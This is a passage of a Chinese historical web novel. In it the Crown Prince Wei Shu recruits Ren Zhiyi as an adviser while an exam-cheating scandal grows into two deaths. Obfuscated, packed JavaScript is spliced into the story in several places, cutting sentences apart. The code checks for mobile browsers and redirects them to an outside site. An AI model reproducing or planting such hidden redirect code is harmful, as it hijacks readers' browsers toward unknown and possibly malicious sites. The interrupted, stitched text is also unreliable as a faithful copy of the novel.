入夜，一辆马车停在范府宅邸的后门，毫不起眼。 范昉立在堂前，向来人施礼道：“殿下！” “范大人知道孤会来？”卫枢淡淡笑道。 范昉面容瘦削，说话慢条斯理，“料想时间应该差不多了！” 卫枢环顾范府，小院清幽，绿柳修竹，与他的别院有异曲同工之妙。 “请殿下入内，臣刚沏好茶！” 卫枢坐定，茶一入口，便知是天下第一名茶，馥安茗。 此茶产于高山，一年之中仅有数日可采摘，味甘而清，极为达官显贵、文人才子所喜爱，只是价格太高，堪比黄金，令很多人望而却步。 皇后知他爱饮茶，所以将宫中大部分的馥安茗都送到东宫，只是他嫌此物过于奢靡，多有不喜。 “馥安茗的确好，入口甘甜清冽，回味悠长……”，范昉缓缓道，继而自嘲道：“唯一的缺点是太贵！若不是有人相送，以臣的俸禄是买不起的。” 卫枢动作一顿，眸色明暗交错，“孤就不与范大人绕弯子了，那东西是不是范大人送来的？ 今日在清和殿上，卫枢故意只是拿出了考卷的誊抄本，肖显秀则以为考卷还在礼部完好无缺地封存着，其实早在十几日前这些东西便已落入他的手中。 春闱后的一日，卫枢在别院收到一封信， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫枢重重地放下茶盏，“范大人！你是当代大儒，当知此事何等恶劣。孤既然知晓，如何能视若无睹！” “……” 范昉无言。 卫枢缓缓道：“范大人，据孤所知，你是第三次任进士科主考……” 范昉心头一跳，恳切道：“殿下！臣一向洁身自正，从不涉足官场之争，此次踏出这一步，属实不易，望殿下莫再强求。” 卫枢压下心中失望，冷静道：“孤明白了，孤绝不会提及范大人。” “多谢殿下！”范昉谢恩。 夜色渐深，卫枢披上大氅，正欲离开，一个浅绿色的蹁跹身影闯入堂中。 “爹，什么时辰了！连饭也不记得吃！” 范昉大声斥道：“胡闹！没见到有客人在嘛！” 来人正是范昉的独生女范瑶，长得灵秀可爱。她放下刚刚热好的餐食，好奇地瞥了一眼，卫枢已然戴上兜帽，遮住了容颜。 “范大人，在下告辞！”卫枢低着头，从范昉身边走过。 他突然脚下一顿，问道：“还有一事，想请教范大人！大人为何将东西寄给了我，而不是景相？” 范昉一怔，下意识地望向范瑶，嗫嚅道：“我与景相有些私事上的龃龉，所以不太方便。” “原来如此！” 卫枢的身影很快消失在夜幕之中，范瑶奇道：“爹，这人是谁啊？你为什么说和景伯伯有龃龉啊？” 范昉安抚地摸着她的头，笑得云淡风轻，“不用担心，爹是骗他的！” 16. 触动 这两日，博文斋开始售卖新话本，名为《三声鼓》。 书中的主人公是一位舍身取义的举子，为求公理擂响登闻鼓，却血洒台前，引人泪目。 话本一经面世，引得京城洛阳纸贵，博文斋门庭若市。 ———— 夕阳西落，暮色渐浓。 任知宜手打算盘，将这几日的盈利整理成账。 此番博文斋刊印话本，她和陆三爷二人五五分成，进账近万两，接下来再将霍思修的诗集编纂成册，利润只会更高。 唯一麻烦的是，霍思修如今还在大理寺的刑狱中关押着，无法签契书，她少不得还要去大理寺一趟。 快到晚膳时，林四带话，说有人想要见她。 相约之地是一处民宅，寻常的二进院落，院落中老树盘虬，枯井杂草丛生，少了几分烟火气。 四名黑衣劲卫守在房间门口，衣着与林四相近。 推开门，卧榻上放着半面团扇，其上绣的海棠花娇艳欲滴，栩栩如生。 她拿起来细细端详着，扇绣尚未成，却能看出绣工精巧，绣法用的是难度极高的双面针法，技艺精湛。 屏风之后走出一位姑娘。 白色莲纹长裙，乌发间别着一朵藕色绢花，姿容明丽，正是当日南衙卫追捕的那位胡裙姑娘，窈娘。 她今日穿得素淡，与当日妩媚妖娆的样子天差地别，以至于任知宜第一眼未认出来。 窈娘见人，立刻双手交握，行大礼伏拜。 “这是做什么？快起来！”任知宜赶忙伸手相扶。 窈娘跪在原地，动也不动，“若不是姑娘当日施以援手，窈娘早已殒命，请姑娘受我一拜。” 咚地一声。 窈娘直通通地磕了个头。 回想起那一夜，任知宜心口发涩，声音虚飘飘的，“我只是为了自保，当不起你这样的感激。” “我虽出身风尘，却也不是个糊涂人。”窈娘捋了捋鬓发，“那日姑娘为了保全我，已尽了全力，我心里明白。” “咱们还能有再见的缘分，是你福泽深厚。”任知宜扶她坐榻，笑得温柔，“你是东宫的人？” 窈娘摇摇头，“我是个普通的舞姬，只是恰巧参与到太子的案子中。” 任知宜凝神静听。 “数月前，礼部侍郎于文崇之子于靳在凌香阁中设宴，我妹妹淑儿是席间的一名舞姬，因为不小心跳错一步，惹得他大怒，被他一脚踹在心口上。淑儿那日发着高热，原本就不舒服，被他像布偶一般地踢了几脚，很快就晕死过去。” 窈娘眼眶发红，声音痛苦而压抑，“后来他踢得累了，便让人将淑儿扔了出去。她那时尚有一丝气息，可是于靳醉酒时说了一句——“晦气！我以后都不想在凌香阁再看见她。” “就因为这一句话！”她浑身抖颤，“阁主将她关在能冻死人的柴房里，还不许别人为她请大夫。” “我好不容易偷跑出去将大夫请回来时，淑儿已经咽了气，被一张破草席裹着扔去了乱坟岗。”她双手捂着脸，眼泪从指缝间一汩一汩地流出。 任知宜递上帕子。 窈娘哽咽道：“我想不明白，我们的命就只能这么贱吗？” 她继续道：“我父母双亡，只剩这一个妹妹，想着与其日后被人糟践，落得跟淑儿一个下场，不如早早地去陪她。不过，后来我想通了，我的命是条贱命，若能拉他们一起死，才算值了。” 任知宜微怔。 “为了给淑儿报仇，我一直盯着于靳。有一次被我无意中发现有人在暗中跟踪他，于是我主动找去，才知是太子在查他。” 任知宜了然，“那日你被南衙卫追捕，是因为偷名册时不小心被于靳发现。” “嗯，我慌忙之中刺伤了他的腹部，逃了出去。” 任知宜眉间泛起三分戾色，“既然有机会手刃仇人，倒不如刺得深一点，直接杀了他！” “不！”窈娘泪眼含悲，“他若这么死了，天下人只会感慨一句，又多了一个死于风月的公子哥儿，又有谁会惋惜淑儿？” “我想要的，是替淑儿求一个公道。等科举舞弊一案了结，我便带着淑儿的尸骨去大理寺提告，让天下人明白，舞姬也是人，是活生生的一条命。” 任知宜神情动容，默默地怔了半晌，“姑娘高义！” “说什么高义！”窈娘摇摇头，“我出身卑贱，飘零于世，不过是肯舍了这一条性命，做些自己想做的事罢了。” 任知宜沉默片刻，缓缓开口道：“你日后有何打算？” 窈娘轻声道：“太子宽厚仁德，已为我脱掉贱籍，还赐我一些银钱，让我待案子了结后离开京城重新生活。” 一道涟漪从任知宜心湖上划过，复又归于平静。 窈娘浅笑，“姑娘大恩，不知何以为报。我不如姑娘聪慧，且身无长物，但是若姑娘日后有用得着我的地方，尽管开口。” 融融笑意，灼灼其华，灿若三月杏花。 ———— 银丝攒珠步摇被解下，檀木梳蓖顺着一瀑青丝滑下，乌发垂坠，铜镜前的任知宜，秀目半阖，神态惫懒。 宝珠一边梳头，一边问道：“小姐是不是累了？” 任知宜揉着鬓角，轻声道：“许是前些时日崩得太紧，一松懈，这乏劲儿就出来了。” “可不是嘛！临走前，夫人再三叮嘱我，让我照顾好小姐，说是女子不宜过耗心血，于身子有碍，老爷的事尽力就好；夫人还说了，人这一辈子，万般皆是命。” “还有啊，我觉得小姐你自从去见了那个窈娘，回来之后就有些心事重重，她到底跟小姐说了些什么啊？” 任知宜浑身乏力，头也晕晕的，宝珠絮絮叨叨了大半天，她一句也没听进去。 门外，响起林四的声音，“姑娘睡下了吗？” “还没！林四哥，有事吗？” 林四在外面回道：“姑娘送去大理寺的信，被林大人着人退了回来，而且，林大人还说，霍公子牵涉朝廷要案，闲杂人等一律不可与之接触。” 任知宜倏地睁开双眼，薄唇紧抿。 兴许是那本话本的缘故，惹恼了大理寺卿林居正。 听闻陛下令他限期破科举舞弊一案，此时正是分身乏术之际，却被她一本《三声鼓》的话本，惹得一众举子闹上大理寺，日日于门前高声喧喝，不胜其烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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是了！她们非亲非故，萍水相逢，甚至连对方的名字都不知道，她好不容易逃走，怎么会愿意回来！ 又或许，是她家中父母惧怕郓人，不让她回来…… “好冷！我也想回家！” 身上越来越冷，冷地彻骨，像是睡在一张冰床上，全身都冻麻了。 梦里，阴风怒号。 “在这里！找到一个丫头！” 两个郓人发现了山洞，冲进来抓她。 她发狠地咬上那人的手臂，郓人大怒，甩了她一巴掌，掐住她的喉咙，窒息的感觉袭来…… 任知宜猛地惊醒，心跳地飞快，就像是要从胸膛里蹦出来似的。 幸好，只是一个梦！ 坐在床沿缓了片刻，待颤动的心跳渐渐平复，她擦去额汗，怔怔地望着周遭。 沉香木浮雕胡床，石青色云纹织锦床幔，袅袅香气自高几上的错金如意香炉飘散而出。 这里，不是她的宅子。 17. 幕僚 宝珠端着药碗，走进内室。 瞧见任知宜赤着双足踩在地上，又喜又惊，“小姐，你终于醒了！地上凉，快回床上躺着。” 一位老者从外间走进来，银发白须，双目矍铄。 老者搭三指于任知宜的脉搏上，过了片刻，他捋着长须道：“脉象平稳，已无大碍。” “照此药方，一日两次煎服。” 他缓缓道：“姑娘是劳心过度引发的心肾阴虚之症，又碰上个庸医以正虚邪郁胡乱用药，眼下挨过去便是没事了，近日莫要劳累，安心静养。” 待他走后，宝珠抱着她的胳膊，心有余悸道：“刚才那位是太医院院首李太医，多亏有他，小姐你已经昏睡两日了，身子滚烫，还一直说胡话，我吓得魂都快没了。” 任知宜微怔。 “这里是哪儿？” “太子的别院啊。” 宝珠道：“前夜小姐突然高热，我就赶紧请了个大夫，没想到那人竟是个庸医，两副药吃下去，不但不好，反而烧得越发糊涂。我又急又怕，听说宫里的太医特别厉害，就哭着央求林四哥，把小姐送到这里来了。” “扶我起来。”任知宜环顾四周，屋子是间客房，陈设清简，一应器物崭新，似是之前未有人住过。 “太子人呢？” “殿下宿在宫里，昨日曾来看过小姐一眼。” 任知宜淡淡地应了一声。 “眼下什么时辰？” 宝珠自顾自道：“快酉时了，小姐是不是饿了，我去给你端饭。” 说完，风也似地跑出去。 任知宜披衣而出，院落里绿竹疏疏，幽静清落。 微风拂面，心境清明了少许。 林四走近，“姑娘身体大好了？” 任知宜笑笑，“又欠林四哥一条救命之恩。” “不敢！”林四后退两步，抱拳拱手道：“是殿下亲自去请李太医前来，姑娘要谢，还是谢殿下吧。” 那日宝珠跪在地上求他，哭得撕心裂肺，他斟酌半晌，方着人传信东宫。 本来没有抱太大希望，没料到太子竟然亲自请了李太医过来，还允许她们二人暂住别院。 “殿下说，姑娘只管住在这里静养，李太医每日的这个时辰会来为姑娘把平安脉，姑娘有什么需要，尽管吩咐属下。” 任知宜客气道：“叨扰殿下，实在过意不去。我欲亲向殿下谢恩，不知是否方便。” 太子答应会过问父亲的案子，不知进展如何。她心里记挂，日日睡不安稳。 竟然又开始梦到多年前遭郓人掳劫之事。 林四说话一向单刀直入，“不瞒姑娘，近来殿下领了礼部的诸多差事，政务繁杂，千头万绪，恐怕不会有时间来见姑娘。” 任知宜微微失望。 转念一想，此时是太子借机扩展朝堂势力的大好时机，加之本届会试重考，有朝一日今科进士入朝为官，都将感念太子之恩，成为真正的东宫柱石。此时，他自然无瑕顾及父亲的案子。 少不得，须得耐着性子再等两日。 林四走后，任知宜沿着别院的竹径四处悠转。 太子的别院分三个院落，除了前院有几个仆从，后院东西两院都显少有人，极其清静，院落内格局带着几分江南小院的风致。 宁静悠远，清幽旷怡。 东院中初见早春之象，柳枝飘飞，几团飞絮乱舞，落在她的鞋舄上。 她蹲下身，轻轻吹拂，柳絮随风而走。 起身的时候，眼前猛然一黑，身子骤然失衡，眼看就要张倒。 突然，一只大手伸过来，稳稳地扶住了她的手臂，免她跌倒。 “多谢！” 任知宜神魂回聚，难怪太医说她心肾阴虚，醒来时尚不觉得，竟然真是不济。 她侧头一瞥，清隽秀逸，萧萧风举，不是太子，又是何人。 慌忙行礼。 “病才刚好一些，这些虚礼，都免了吧。”卫枢收回手，轻声道。 他瞥了她一眼，语带关切，“可还有气力行走？” 任知宜忙不迭点头。 二人并行。 任知宜有意落后半步，亦步亦趋，却又一直保持着不远不近的距离。 顾及她的身体，卫枢走得极慢，“姑娘这些时日为科举舞弊一案劳心周折，辛苦了。” “不敢！都是知宜的份内之事。”任知宜眼睫微垂，想开口问父亲的案子，又隐隐觉得太子可能有话要与她说。 “太祖之时，有女子沈氏入朝，官至五品，姑娘可是希望效仿先贤？” 任知宜微怔，抬起头来望向太子。 和光落于清俊的面容上，释出几分温文之意。 一如刘府初见太子之时，虽然清冷疏离，却温和有礼，不带压迫。 任知宜答得谨慎，“但听殿下吩咐。” 卫枢默然半晌，“令尊的案子确有蹊跷，刑部方面，孤已让他们将案子延后；灵州府衙方面，已将你爹移至府司狱关押，也派了大夫过去治他的咳疾。” 府司狱设在衙内，常被上官用来惩戒府中犯错的僚属，比之刑狱的环境，实在是好太多。 惊喜骤至。 任知宜难掩激动，双目红通通，似有热泪翻涌。 她心里清楚，破案并非一日之功，即使有太子斡旋，父亲也不可能立刻洗刷冤屈出狱。一直以来，她最担心的是父亲的身体，怕他撑不住牢狱之灾。 “殿下大恩，知宜定当铭记。”她拜倒在地。 卫枢扶她起身，“你助孤破科举舞弊，孤为你父亲翻案，无须如此。” “如今你暂时没有后顾之忧，孤再问一遍，你是否有意效仿先贤，入朝为官？” 任知宜微微迟疑。 卫枢又道：“孤希望听实话。” 任知宜思忖半刻，直视卫枢的眼神，坦然道：“其实臣女从未有过匡扶天下之向，臣女的心愿是踏遍山河，四处行商，看看各处的风土人情。此番助殿下破案，纯粹是为了父亲。” 卫枢点点头，“那你为何又要告诉霍思修真相？” 任知宜一怔。 这些时日，身边有太子的暗卫，既是保护，又是监视；太子知道此事并不奇怪。 “义兄为人赤诚，为天下公义甘心赴死，我不愿欺瞒。” 卫枢又问，“那你为何要故意提醒孤，科举是朝堂最后一方净土，若科举舞弊不除，吏治难清，民心必失。” 任知宜心头一凛，慌忙跪下。 “臣女失言。” “你说得不错。”卫枢目色幽沉，“如今的大胤朝堂，持经世之才者众，怀济民之心者寡。孤希望你能助孤一臂之力。” “殿下所指为何？” “孤想为你请封女史之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑皇后幽幽道：“枢儿，母后提醒你，文臣是大胤朝堂的根基，这是天下共识。” 卫枢微微抬眉，“母后是何意？” 见他揣着明白装糊涂，郑皇后声音染怒，“你本可借舞弊一案与解州一派周旋，巩固储君之位，可是你却万事做绝，如今又要封那姑娘为东宫女史，你这是要与解州不死不休？” “解州一派早该瓦解。” 郑皇后掌拍榻几，一怒而起，“解州一派不只有文臣势力，背后还有江南的世族，你将人逼至绝境，说到底，究竟是为了重掌皇权，还是为了你的初心？” 她望着她唯一的嫡子，流露出一丝失望。 少年在外流落多年，一朝回宫，竟与她说，平生只愿海清河晏，四海清平。 彼时，她慈爱一笑，笑叹稚子天真。 可是，自从卫枢入朝之后，她愈发看不懂他。 卫枢沉默以对。 “罢了！木已成舟，多说无益。”郑皇后声音肃厉，“安州王何卢之女懿靖郡主明艳丽质，淑宜端静，与你恰为良配。母后言尽于此，你好自为之。” 说完，拂袖而去。 18. 命案 内室的火烛快要燃尽，发出噼里啪啦的声响，窗外虫鸣阵阵，衬得室内更加幽静。 纤细的手指摩挲着汉玉九龙珏，质地润泽，触之清寒，正像这玉珏的主人，温润如玉，却又淡漠清冷。 那日，卫枢问她窈娘之事，她没有回答。 随后，他领她入了西院。 西院之中，茅屋两间，灶台瓦罐，刀斧犁锄，农家田间之器具一应俱全。 卫枢泰若平常地添柴烧水，泡茶斟盏。 茶气氤氲，如烟似雾，飘忽在眼前，令她看不清眼前之人。 茶歇之际，他递给她一份卷轴。 卷上记载着江南道、靖北道和靖南道三道九州刺史的籍贯生平。 卷一入手，她便已瞧出端倪，可是当时她迟疑了一下。 卫枢轻声道：“但说无妨。” 任知宜犹自惊疑，一场科举舞弊案，太子重创解州一派，已是引得朝堂震荡，若继续深究下去，恐怕会动摇东宫。 她嗫嚅道：“九州刺史皆出自江南世族，而且都是在咸宁元年至咸宁四年期间擢升。” “还有这个！”卫枢递给她另一份卷录，“这是三道九州六品以下的官员名单，大多是咸宁四年的三甲进士。” 任知宜心中一凛。 江南世族存续超过两百年，在前朝时可谓一手遮天。大胤建朝之后，族中子弟有才名者俯拾皆是，却甚少庙堂居高。 没想到，这十来年，他们竟然悄悄地利用科举一途，牢牢把控住三道九州。 她谨慎地揣测着太子的意图。 默然半晌，才轻声开口，“殿下前路所求为何？” 卫枢的视线越过她，停在更远的远山之上，目色深幽，“惜生者安平，枉死者安息。” 说这话时，卫枢声音沉郁，没有半分壮怀激荡之意，反而透着浓浓肃杀之气。 她胸中震动，那一刻，似有所感。 何人能真正明哲保身！ 灵州，京城，皆是如此。 原本一心要踏遍千山，万里行商，做一道自由自在的风，可是从灵州一路走来，心绪已悄然改变。 有些事，或许真得是事在人为。 可为！可争！ 卫枢轻声道：“幕僚一事，孤绝不勉强，一年为限，姑娘便可离开。” 思绪百转千折，终尘埃落定。 她双手交叠，伏拜于地，朗声道：“臣定尽己所能，助殿下成事。” ———— 大理寺 灿金之色闪得耀目，放在手里沉甸甸的，足有十两重。 牢头瞅了瞅眼前这锭金子，咽了咽口水，“二公子出手阔绰，可是小的着实不敢放您进去。” 景随笑得温文尔雅，“我只进去一刻钟，而且，只见钟黎一人。” 牢头仍然有些犹豫。 “这样吧！”景随笑得泰然，“你随我一同进去，站在我身旁守着！” 守卫眼神一亮，“公子说真的？” 景随点头微笑。 “好！公子随我来！” 沿阶而下，行了一段暗路，中间经三道精钢所筑的铁门，到达大理寺最深处的暗狱，这里的牢房相互独立，关押的都是牵涉大案的疑犯。 钟黎盘膝坐于石床上，双目闭阖，像一个老僧在禅定正念，不见丝毫落魄。 听到脚步声，他纹丝不动，“让本官猜猜，第一个来见我的会是谁！” 他自言自语道，“是柳德吗？” 钟黎睁开眼睛，看到景随那张似笑非笑的脸，一时之间笑容凝结在面容上。 “景随？”他皱着眉头道，“是你爹让你来的？” “见过钟世伯！” 钟黎冷哼一声，“废话少说！他准备什么时候放我出去？” 站在角落里的牢头闻言，浑身抖了一下，恨不能立刻堵上自己的耳朵。 景随瞥见碗里的米饭没有动过，唇边噙出一抹笑，“钟世伯是嫌这米糙不入口？要不要侄儿为你准备些可口的饭菜？” 钟黎双眸微眯，“景郦从来不会与我说这等废话！你有话直说吧！” “咸宁二年二月二十三日，你当时任兵部侍郎，我哥景远在那一日去兵部见你，所为何事？” 钟黎怔了一瞬，神思陷入回忆中，摇摇头道，“我从未见过你哥。” “那他为什么找你？还是在会试的前一日，必是极之重要之事。” “呵！”钟黎懒懒地翻着眼皮，“这么久的事，我怎么会记得！何况我并未见到他。” “真可惜！”景随幽幽叹道，“令公子的舞弊之行一旦定罪，便会被革除功名，终身不得入仕。只要你告诉我我哥见你的原因，我便想办法让他脱罪。” 钟黎收起散漫的笑容，静静地凝视了他半晌，复又摇了摇头，“我是真得不记得了，或许只是件微不足道的小事。” 景随的笑容渐渐散去，双眸幽黑如墨。 “过了这么多年，你还有什么好查的！”钟黎不在意地笑道，“你哥在会试当日投江，恐怕就是读书读得痴了。” 景随眸色更深，抬起脚，朝瓷碗轻轻一踢，碗被踢翻在地。 米沾了泥，自然是吃不得的。 钟黎面色阴沉，“小子，莫要猖狂！小心你爹没儿子送终。” 景随笑笑，“听闻钟公子乃世伯独子，会审过后，没有儿子送终的恐怕是世伯。” “景，随！”钟黎眸中布满阴鹜。 景随不再理会，转身离去。 ———— 肖显秀死了。 消息传来之时，任知宜正在拟霍思修和博文斋的契书。 经太子作保，大理寺卿林居正已答应将契书送进狱中。 却在中途又出了这等岔子。 肖显秀原本声名不显，三年前骤然拔擢，是因为当时的礼部尚书程可靖回乡丁忧，其实于朝中根基不深。 这样的人，正适合做一个替罪之羊。 肖显秀一死，科举舞弊之案便成了无主公案。 东宫女史的敕封诏书已下，太子言明，除宫中重要的节宴、祭祀，她须于东宫行使女史之职，其余时间可宿于宫外。 言外之意，这个案子，她须得尽快查证。 窗外，月光被云层掩盖，夜色幽如黑域，不见树影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127497|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ———— 暗狱幽深。 肖显秀的尸体陈于石床之上，仰面朝天，双手交叠于胸前，穿戴整齐，像是熟睡。 走近一看，尸体的手脚发僵，面色青灰，脖颈处现出大片暗黑色的斑点。 仵作勘验过后，放下手中刀具，“大人，肖尚书唇齿间有血斑，似乎是中毒。” 大理寺卿林居正面色沉凝，“不能确认？” “唇齿间有血斑，却无青黑之色。属下一时之间还难以判断。”仵作掰开尸体的嘴，从口中抹出一小点黄色油膏状的东西，“不过我在他口中发现了这个，不知道是不是和肖尚书的死有关。” “他是什么时候死的？” “腰部和后背部有小范围腐肉，大概死于三个时辰之前。” 三个时辰的意思，便是说，关在暗狱中的犯人，半夜才签供画押，清晨便死了。 大理寺要如何向朝野上下交代！ 林居正的双眸似要喷火，“看守肖显秀的狱卒呢？” 虽然肖显秀临死前留下供词，十一名解州举子的罪名无疑，但是钟黎和裴宜若是咬死了不认，想要将钟文远和裴建入罪，还得费一番周折。 两个狱卒被押到林居正的面前，点头如捣蒜，“大人明察，和我们无关啊！” “你们也清楚本官的手段，尽快说实话，还能留个全尸。” 两个狱卒梆梆地磕头，磕得鲜血直流，“小的以全家性命起誓，绝不敢杀害人犯。” 其中一个哭喊道，“大人，这等一定会杀头的事我们怎么敢去做！” 林居正靠在椅背上，眼神在二人身上逡巡片刻。 “昨夜可有人见过肖显秀？” “大人！”一个狱卒想了想，突然喊道，“小的想起来了，虽然没人来见肖尚书，但是小的亲眼见过牢头放了一个人进来，还在隔壁的牢房门口逗留了一段时间。” 两个狱卒就像抓住了救命稻草，齐声喊道，“对，就是牢头放人进来！” 他们二人想得简单，如今遭逢大难，攀咬出牢头，兴许能保住性命。 更何况，那牢头终日里对他们呼呼喝喝，又打又骂，犯人关照的银钱都进了自己腰包，半分未给过他们。如今他们遭了罪，也不能让牢头好过。 可是他们万万没想到，牢头供出来的人，居然会是景相的儿子。 眼见林居正面露犹豫，一旁的主事低声进言，“大人怎好去相府拿人，也许这件事只是凑巧。” 林居正长叹着摇摇头，“景相为人向来公私分明，料想不会怪罪。本官稍后亲自前往相府，先问清楚事情的始末，再确定是否拿人。” “至于你们……”，林居正对着牢头和狱卒厉声斥道，“玩忽职守！三个人先各打四十大板，关押起来。” “大人！大人！” 铁门外面传来书吏的声音，带着几分焦灼。 “本官在此，何事惊慌？” 暗狱之中乌漆麻黑，书吏看不清路，跌跌撞撞地跑过来，一脸惊惶。 林居正蹙眉道，“又出了什么事？” “大，大人，曲江岸边飘上来一具浮尸。” 19. 查案 曲江河畔，朝露日晞。 上巳节的流觞作赋，好不风雅，如今江水清澜如许，却不见当日盛景。 江雾霭霭，细润如丝，一具男子的尸身横陈于江岸上。 男子的面容被江水泡得发白肿胀，眼球外凸，唇翻舌露，污绿的皮肤与挂在身上的水草凝成一体。 一股酸气从腹腔直直地向上涌，任知宜乍见尸体，立刻掩口，后退几步。 卫枢察觉她脸色苍白，“还好吗？” 任知宜摇摇头，颤着眼睫又瞥了那具尸体一眼。 不过一眼，她便坚持不下去，大口地呕了出来，直呕地内腑翻涌，难受至极。 “孤第一次见尸体，亦是如此。”卫枢伸出手，轻轻拍打她的后背。 透过衣衫，灼热的掌温一寸寸地渗进皮肤，力度轻柔而缓和，令人心安。 卫枢递出一方青竹帕，“去擦擦脸，会好一些。” 帕子带着淡淡的松香味道，浸水敷面，清凉冰沁，缓解了些许呕意，任知宜稍稍恢复，“殿下可知此人身份？” “贡士院的一名举子，名唤高期。” 原本沉入江中的尸体腐烂愈快，不过昨夜恰有潮汐，将尸体浮了上来，模样尚能辨认。 “肖显秀死在大理寺，如今又死了一个贡士院的举子，会不会影响舞弊之案的审讯？” 卫枢沉然。 贡士院的举子被取消贡士之名，心怀不忿，日日去礼部讨要说法，可是礼部却闭门不应，反倒惹得人心惶惶。 如今，还出了命案。 仵作在一旁验尸，大理寺卿林居正过来见礼。 “殿下怎地也来了？” “父皇听闻这浮尸是贡士院的举子，很是忧心。” 林居正唇角微动，没有说话，最终化成两声沉沉的哀叹。 “何必如此想不开，实在是可惜。” 卫枢眸色深幽，“林大人也觉得他是因为贡士之名被废而投江自尽？” 林居正心头一跳，太子此言，似乎意有所指。 此时，仵作上前禀报，“尸体口鼻中有水草，应是溺死于江中，按照尸腐程度来看，当是死于昨日戌时至子时之间。” “林大人，借一步说话。”卫枢道。 “殿下请说。” “陛下担心会因此案兴起文祸，命东宫襄助大理寺破案，孤会将任女史留下。”卫枢指着不远处的任知宜道。 林居正侧目瞧去，容貌清丽，身形纤弱，毫无一丝公门中人的气质。 他下意识地蹙眉不语。 前几日太子为此女向陛下求请正七品女史之职，朝中传言此女将成为太子最信任的东宫幕僚，却未料到竟是真的。 林居正面色沉沉，“不知任女史对这个案子有何见解？” 任知宜笑道：“见解不敢，只是有些浅薄的想法。从贡士院到这里一定要出城，四方城门皆有守卫，将昨夜戌时至子时的出城记录逐一盘查，当有所获。” “还有呢？”林居正面色不改，继续问道。 “另外，就是须查高期是否与人结怨。” 林居正唇角轻勾，噙出一抹淡淡的嘲意，“姑娘未接触过刑案，有此见解也算不错了。” 听出这话中的轻蔑，任知宜淡淡一笑，姿态放低。 “林大人执掌大理寺多年，知宜岂敢在您面前班门弄斧。” 话音一顿，“只是如今朝廷上下担心兴起文祸，对贡士院的举子一味姑息。要查此案，大理寺少不得要去贡士院调查，不如让我去与他们周旋，大理寺也可专心于肖显秀的案子。” 林居正望着任知宜，颇有几分意外，“任女史愿意揽这个麻烦上身？” “食君之禄，忠君之事。”任知宜不以为然地笑笑。 她回答地过于理所当然，倒让林居正收了几分轻慢之色，“实不相瞒，肖显秀之死尚未查清，本官如今确实力有不逮；但是任女史不熟刑名之道，恐怕很难有进展。” 任知宜思忖片刻，“林大人可否在大理寺内寻一位擅长刑名之人，与我一道查案？” 林居正沉思片刻，答应下来。 任知宜领了查案之责，不敢怠慢，立刻寻了仵作问尸验细节。 江水澄绿，雾霭潮潮。 卫枢与林居正沿江缓步慢行。 “听闻林大人今日还去了景府。”卫枢问道。 林居正瞥了一眼太子的神色，垂眸应道：“回殿下，肖显秀死的那个时间，景随曾私入大理寺暗狱。他承认见过钟黎，对于其他一概不知。” “林大人相信吗？” “臣只相信证据，待仵作查验出肖显秀所中何毒，再行判断。” 卫枢淡淡问道：“你从景府带走景随，景相可有为难你？” “景相为人清正，不但没有阻拦，还怒斥景随罔顾朝廷法度，擅见人犯。” 卫枢沉默半刻，缓缓道：“科举舞弊一案查到如今，种种证据皆指向肖显秀一人，这么巧，他恰在此时暴毙。” “殿下所言极是。”林居正沉声道：“臣也担心，这案子的背后另有他人，不过臣是刑名出身，只信证据。” 这话说得不轻不重，林居正在委婉地提醒他，无论卫枢这次想要对付的人是谁，他都视而不见，证据摆在哪儿，他便站在哪儿。 林居正为人圆通，常常不拘小节，予人方便；却又从不涉党争，多年来在朝堂中起起伏伏，却也争得一席之地。 卫枢和声道：“孤知晓大人秉性，绝不会为难大人。东宫与景相之间，也并无龃龉，孤只求真相，大人无须多虑。” 去岁，因着两个户部员外郎的贪墨，林居正与太子一同查案，亲眼见过他的手段，知太子看似清冷淡漠，却是心思缜密，城府极深。 林居正笑笑，“臣必要查出一个真相，不辜负殿下信任。” 曲江浩瀚，淡静无波，一切的暗潮似乎都被掩于江面之下。 ———— 贡士院 站在院门外，任知宜正了正襟领和官帽，一身绛红色的女史官服，穿出三分英气，七分清贵。 “任女史真得要孤身一人进去？” 任知宜朝着身着黑甲的国字脸将军深深地作了一揖，“有庞将军在外面坐镇，我没什么可怕的。” 庞大海是北衙卫龙武将军，日常职责是守卫禁宫安全。今日接到太子之命，协助任女史查案，以防贡士院生乱。 任知宜笑笑，“将军不用担心我，读书人最喜欢轻言生死威胁朝廷，但是若碰上我这种弱女子，反而束手无措。” 进入贡士院，一面白玉龙纹照壁映入眼帘，黑底金漆，大胤建国以来的状元、榜眼和探花之名，皆在其上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任知宜淡淡道：“你们先不要揣测，案件尚未查清。” 